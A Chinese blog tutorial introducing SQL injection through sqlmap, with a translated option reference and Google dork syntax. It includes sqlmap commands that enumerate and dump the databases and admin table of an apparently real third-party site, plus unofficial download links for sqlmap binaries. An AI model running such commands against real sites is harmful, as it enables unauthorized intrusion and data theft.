手把手教你用Python輕松玩轉(zhuǎn)SQL注入
點(diǎn)擊上方“Python爬蟲與數(shù)據(jù)挖掘”,進(jìn)行關(guān)注
回復(fù)“書籍”即可獲贈Python從入門到進(jìn)階共10本電子書
今
日
雞
湯
山有木兮木有枝,心悅君兮君不知。前言
大家好,我是黃偉。相信大家經(jīng)常有聽到過SQL注入啥的,但是并不是特別了解;小編以前就是經(jīng)常聽別人說,但是自己啥都不懂,直到后來看了相關(guān)教材后才明白,原來是這么個東西,那么到底是什么東西了,又或者是不是個東西了?我們接著往下看。
一、淺談SQL注入
SQL注入其實(shí)就是把SQL命令插入到WEB表單中提交或者輸入一些頁面請求的查詢字符串,比如我們輸網(wǎng)址,就是相當(dāng)于這種操作,只不過我們不是在測試SQL注入漏洞,而僅僅只是為了輸入后看到相應(yīng)網(wǎng)頁上的內(nèi)容而已。一般方法有,如:猜數(shù)據(jù)表名,其次就是繞過后臺漏洞,一般這兩種方法And或者Or關(guān)鍵字用的比較多。國內(nèi)曾經(jīng)也出現(xiàn)過類似的軟件,像什么啊D,明小子,曾經(jīng)也是一眾腳本小子的必備神器,現(xiàn)在由于未更新也怕是涼涼了,只不過曾經(jīng)也曾輝煌過。
二、Sqlmap的注入方式
Sqlmap總共有五種不同的注入模式,如下:
1.時間盲注
2.布爾盲注
3.報錯注入
4.聯(lián)合查詢注入
5.堆查詢注入
三、Sqlmap支持的數(shù)據(jù)庫
基本上主流數(shù)據(jù)庫它都支持,比如Mysql ,Mongo,Oracle,Sqlserver,Access,Sqlite等等。
四、Sqlmap安裝
這里我們可以使用兩種方案,一個是安裝Sqlmap的Python版本,另一個是下載已經(jīng)編譯好的Sqlmap應(yīng)用程序,看你選擇哪個。只不過官網(wǎng)下載會比較慢,所以,貼心的小編已經(jīng)將它們都下載下來了,大家直接按照我提供的下載地址進(jìn)行下載即可,如下:
Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892
五、玩轉(zhuǎn)基本命令
這里我們以Sqlmap程序?yàn)橹鱽磉M(jìn)行講解,當(dāng)然你也可以使用Python版的Sqlmap,命令都一樣。有命令自然離不開參數(shù),Sqlmap也是一樣,不過它里面的參數(shù)也是出奇的多,我的乖乖,小編表示哭暈在廁所。下面我們來一個個進(jìn)行講解,也許可能講的不是很全面,希望多多包涵。我們都知道不管哪個命令行工具都會有幫助命令,Sqlmap也不例外,一個""-h",直接所有命令通通給你列出來,如下:

相信大家從圖中看到了眾多的中文,開始犯難了,不慌,問題不大。此外,不知道大家有沒有看到”-hh“這個不知道是什么鬼,其實(shí)這就是比”-h“稍微高級那么一點(diǎn)而已。如圖所示:

比”-h“看起來更加有條理。那么讓俺來親自向大家介紹下這些參數(shù)的用處吧,起碼先給它翻譯過來。
Options(選項(xiàng)):–version 顯示程序的版本號并退出-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細(xì)級別:0-6(默認(rèn)為1)以上七個等級分別為:0、只顯示python錯誤以及嚴(yán)重的信息1、同時顯示基本信息和警告信息(默認(rèn))2、同時顯示debug信息3、同時顯示注入的payload4、同時顯示HTTP請求5、同時顯示HTTP響應(yīng)頭6、同時顯示HTTP響應(yīng)頁面Target(目標(biāo)):以下至少需要設(shè)置其中一個選項(xiàng),設(shè)置目標(biāo)URL。-d DIRECT 直接連接到數(shù)據(jù)庫。-u URL, –url=URL 目標(biāo)URL。-l LIST 從Burp或WebScarab代理的日志中解析目標(biāo)。-m BULKFILE 掃描多個目標(biāo)列入給定文本文件-r REQUESTFILE 從一個文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結(jié)果作為目標(biāo)URL。-c CONFIGFILE 從INI配置文件中加載選項(xiàng)。Request(請求):這些選項(xiàng)可以用來指定如何連接到目標(biāo)URL。–data=DATA 通過POST發(fā)送的數(shù)據(jù)字符串——param-del = PDEL字符用于分割參數(shù)值–cookie=COOKIE HTTP Cookie頭--load-cookies= 讀取Netscape/wget格式的cookies文件–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應(yīng)的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機(jī)選定的HTTP User – Agent頭--force-ssl 使用SSL / HTTPS請求--host=HOST HTTP主機(jī)頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開,加入其它的HTTP頭–auth-type=ATYPE HTTP身份驗(yàn)證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗(yàn)證憑據(jù)(用戶名:密碼)–auth-cert=ACERT HTTP認(rèn)證證書(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標(biāo)URL–proxy-cred=PCRED HTTP代理身份驗(yàn)證憑據(jù)(用戶名:密碼)–ignore-proxy 忽略系統(tǒng)默認(rèn)的HTTP代理–delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒–timeout=TIMEOUT 等待連接超時的時間(默認(rèn)為30秒)–retries=RETRIES 連接超時后重新連接的時間(默認(rèn)3)–scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達(dá)式–safe-url=SAFURL 在測試過程中經(jīng)常訪問的url地址–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL--skip-urlencode 跳過URL編碼的數(shù)據(jù)--eval=EVALCODE 評估請求之前提供Python代碼(如?!癷mport hashlib; id2 = hashlib.md5 (id) .hexdigest())Optimization(優(yōu)化):這些選項(xiàng)可用于優(yōu)化SqlMap的性能。-o 開啟所有優(yōu)化開關(guān)–predict-output 預(yù)測常見的查詢輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒有實(shí)際的HTTP響應(yīng)體中檢索頁面長度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認(rèn)為1)Injection(注入):這些選項(xiàng)可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(shù)(S)–dbms=DBMS 強(qiáng)制后端的DBMS為此值–os=OS 強(qiáng)制后端的DBMS操作系統(tǒng)為這個值——invalid-bignum 使用大數(shù)據(jù)無效值——invalid-logical 使用邏輯操作無效值——no-cast 關(guān)掉負(fù)載鑄造機(jī)制——no-unescape 關(guān)掉字符串unescap機(jī)制–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本篡改注入數(shù)據(jù)--skip=SKIP 跳過給定的參數(shù)Detection(檢測):這些選項(xiàng)可以用來指定在SQL盲注時如何解析和比較HTTP響應(yīng)頁面的內(nèi)容。–level=LEVEL 執(zhí)行測試的等級(1-5,默認(rèn)為1)–risk=RISK 執(zhí)行測試的風(fēng)險(0-3,默認(rèn)為1)–string=STRING 字符串匹配時查詢計算為True--not-string=NOT.. 字符串匹配時查詢計算為False–regexp=REGEXP 查詢時有效時在頁面匹配正則表達(dá)式——code= HTTP狀態(tài)碼–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁Techniques(技巧):這些選項(xiàng)可用于調(diào)整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認(rèn)BEUST)–time-sec=TIMESEC DBMS響應(yīng)的延遲時間(默認(rèn)為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢注入–union-char=UCHAR 用于暴力猜解列數(shù)的字符--dns-domain= DNS . .域名用于DNS漏出攻擊--second-order= S . .產(chǎn)生的頁面的url搜索二階響應(yīng)Fingerprint(指紋):-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋Enumeration(枚舉):這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行您自己的SQL語句。-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識–current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶–current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫–is-dba 檢測DBMS當(dāng)前用戶是否DBA–users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶–passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希–privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限–roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色–dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫–tables 枚舉的DBMS數(shù)據(jù)庫中的表–columns 枚舉DBMS數(shù)據(jù)庫表列——schema 列舉DBMS模式——count 計算檢索表(s)的條目數(shù)量–dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)–dump-all 轉(zhuǎn)儲所有的DBMS數(shù)據(jù)庫表中的條目–search 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)-D DBname 要進(jìn)行枚舉的指定數(shù)據(jù)庫名-T TBLname 要進(jìn)行枚舉的指定數(shù)據(jù)庫表(如:-T tablename –columns)-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫列-U USER 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶-–exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據(jù)庫-–start=LIMITSTART 第一個查詢輸出進(jìn)入檢索-–stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索-–first=FIRSTCHAR 第一個查詢輸出字的字符檢索-–last=LASTCHAR 最后查詢的輸出字字符檢索-–sql-query=QUERY 要執(zhí)行的SQL語句-–sql-shell 提示交互式SQL的shell--sql-file = SQLFILE執(zhí)行SQL語句從給定的文件(s)Brute force(蠻力):這些選項(xiàng)可以被用來運(yùn)行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列User-defined function injection(用戶自定義函數(shù)注入):這些選項(xiàng)可以用來創(chuàng)建用戶自定義函數(shù)。–udf-inject 注入用戶自定義函數(shù)–shared-lib=SHLIB 共享庫的本地路徑File system access(訪問文件系統(tǒng)):這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑Operating system access(操作系統(tǒng)訪問):這些選項(xiàng)可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令–os-shell 交互式的操作系統(tǒng)的shell–os-pwn 獲取一個OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC–os-bof 存儲過程緩沖區(qū)溢出利用–priv-esc 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠(yuǎn)程臨時文件目錄的絕對路徑Windows注冊表訪問:這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊表。–reg-read 讀一個Windows注冊表項(xiàng)值–reg-add 寫一個Windows注冊表項(xiàng)值數(shù)據(jù)–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項(xiàng)值–reg-data=REGDATA Windows注冊表鍵值數(shù)據(jù)–reg-type=REGTYPE?Windows注冊表項(xiàng)值類型General(一般)這些選項(xiàng)可以用來設(shè)置一些一般的工作參數(shù)。-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中–batch 從不詢問用戶輸入,使用所有默認(rèn)配置--charset=CHARSET 強(qiáng)制字符串編碼--crawl=CRAWLDEPTH 從起始位置爬取的深度--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符——dbms-cred=DBMS.. DBMS身份驗(yàn)證憑據(jù)(用戶:密碼)--eta 顯示每個輸出的預(yù)計到達(dá)時間--flush-session 刷新當(dāng)前目標(biāo)的會話文件--forms 在目標(biāo)URL上解析和測試表單--fresh-queries 忽略在會話文件中存儲的查詢結(jié)果--hex dump非ascii字符時,將其編碼為16進(jìn)制,收到后解碼還原--output-dir=OUT.. 輸出結(jié)果至文件--parse-errors 解析并顯示報錯信息--replicate 復(fù)制數(shù)據(jù)到一個數(shù)據(jù)庫sqlite3–save file保存選項(xiàng)到INI配置文件——tor 使用tor匿名網(wǎng)絡(luò)——tor-port=TORPORT 設(shè)置Tor代理端口,而不是默認(rèn)設(shè)置——tor-type=TORTYPE 設(shè)置Tor代理類型(HTTP違約,SOCKS4或SOCKS5)–update 更新SqlMapMiscellaneous(雜項(xiàng)):-z MNEMONICS 參數(shù)助記符,例:-z "bat,randoma,ign,tec=BEU" 其實(shí)就是只要你寫的字母可以唯一匹配其它參數(shù),就可以生效。–check-payload IDS對注入payloads的檢測測試--alert=ALERT 在找到SQL注入時運(yùn)行主機(jī)OS命令--answers=ANSWERS 設(shè)置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認(rèn)值,可以使用者個參數(shù)對特定問題設(shè)定特定答案。例:--answer "extending=N"–beep 發(fā)現(xiàn)SQL注入時提醒--cleanup SqlMap具體的UDF和表清理DBMS--dependencies 檢查缺少的Sql映射依賴項(xiàng)--disable-coloring 禁用控制臺輸出著色--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結(jié)果--identify-waf 識別目標(biāo)的防火墻--mobile cosplay 手機(jī)--offline 在脫機(jī)模式下工作--purge-output 情況輸出文件夾--skip-waf 跳過WAF/IPS/IDS保護(hù)的啟發(fā)式檢測--smart 有大量檢測目標(biāo)時候,只選擇基于錯誤的檢測--sqlmap-shell 創(chuàng)建一個交互的sqlmap_shell--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄--web-root=WEBROOT 設(shè)置Web服務(wù)器文檔根目錄。例:--web-root="/www"--wizard 給初級用戶的簡單向?qū)Ы缑?/span>
上面便是小編輸入Sqlmap的幫助命令后翻譯好的Sqlmap全部指令了,下面我們來進(jìn)行實(shí)際應(yīng)用下。
1.判斷相關(guān)條件來判斷URL是否存在注入

我們給它設(shè)置了一個數(shù)據(jù)庫和url的請求指令,相當(dāng)于是在查找Mysql數(shù)據(jù)庫中是否存在注入點(diǎn),然后我又選擇它里面的數(shù)據(jù)庫來進(jìn)行獲取,然后它便會不斷的使用SQL語句對這個數(shù)據(jù)庫進(jìn)行定點(diǎn)爆破,如圖:


2.構(gòu)建Post請求
上面我們所做的請求其實(shí)就是個Get請求,現(xiàn)在我們來看看Post請求,如下:

就像我們平時那樣構(gòu)建Post請求的格式就可以了。
3.獲取數(shù)據(jù)庫、表信息
當(dāng)我們找到注入點(diǎn)后就可以很輕易的找到這些數(shù)據(jù)庫和它對應(yīng)的表了,比如:
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有數(shù)據(jù)庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#當(dāng)前數(shù)據(jù)庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #數(shù)據(jù)表Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#當(dāng)前用戶Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判斷歸屬Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -D "VIP" --dump-all#轉(zhuǎn)儲所有表
4.爆破用戶名和密碼
利用自己搭建的WEB服務(wù)器來作為測試點(diǎn),我們來試試看,如下:


5.Google Hacker語法糖
講到這里我們不得不提一下GoogleHacker語法,如下:
intitle: 從網(wǎng)頁標(biāo)題中搜索指定的關(guān)鍵字,可專門用來搜索指定版本名稱的各類web程序,也可用allintitleinurl: 從url中搜索指定的關(guān)鍵字,可專門用來構(gòu)造各種形式的漏洞url,也可用allinurlintext:從網(wǎng)頁中搜索指定的關(guān)鍵字,可專門用它來穿透到漏洞頁面等……也可用allintextfiletype: 搜索指定的文件后綴,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某個特定的網(wǎng)站內(nèi)中搜索指定的內(nèi)容link:搜索和該鏈接有關(guān)聯(lián)連接,比如:友情鏈接index of: 找目錄遍歷會用到+ 強(qiáng)制包含某個字符進(jìn)行查詢- 查詢的時候忽略某個字符"" 查詢的時候精確匹配雙引號內(nèi)的字符. 匹配某單個字符進(jìn)行查詢* 匹配任意字符進(jìn)行查詢| 或者,多個選擇,只要有一個關(guān)鍵字匹配上即可
講這個的目的主要是什么了?其實(shí)也就是SQL注入,很多人可能覺得這跟SQL注入沒關(guān)系啊,那你就錯了,這個也是找后門的常用語法。不信的話你可以和小編一起來看看,如下:


后面的我就不介紹了,免得害人,相信看了我寫的例子,很多人都基本上會了。
六、總結(jié)
總的來說,SQL注入無非就是一段艱難險阻的路程,你可以發(fā)現(xiàn)但是別人也可以防御,雖然你發(fā)現(xiàn)要比較久的時間,但是人家防御卻是很輕松,個人覺得得不償失,不建議大家深入了解,只是做個簡單的介紹了解下就好,至少你搜索技能因此而提高了不少吧。
-------------------?End?-------------------
往期精彩文章推薦:
手把手教你用Scrapy爬蟲框架爬取食品論壇數(shù)據(jù)并存入數(shù)據(jù)庫
一篇文章淺析Python自帶的線程池和進(jìn)程池
手把手教你在Windows下設(shè)置分布式隊(duì)列Celery的心跳輪詢

歡迎大家點(diǎn)贊,留言,轉(zhuǎn)發(fā),轉(zhuǎn)載,感謝大家的相伴與支持
想加入Python學(xué)習(xí)群請?jiān)诤笈_回復(fù)【入群】
萬水千山總是情,點(diǎn)個【在看】行不行
/今日留言主題/
隨便說一兩句吧~
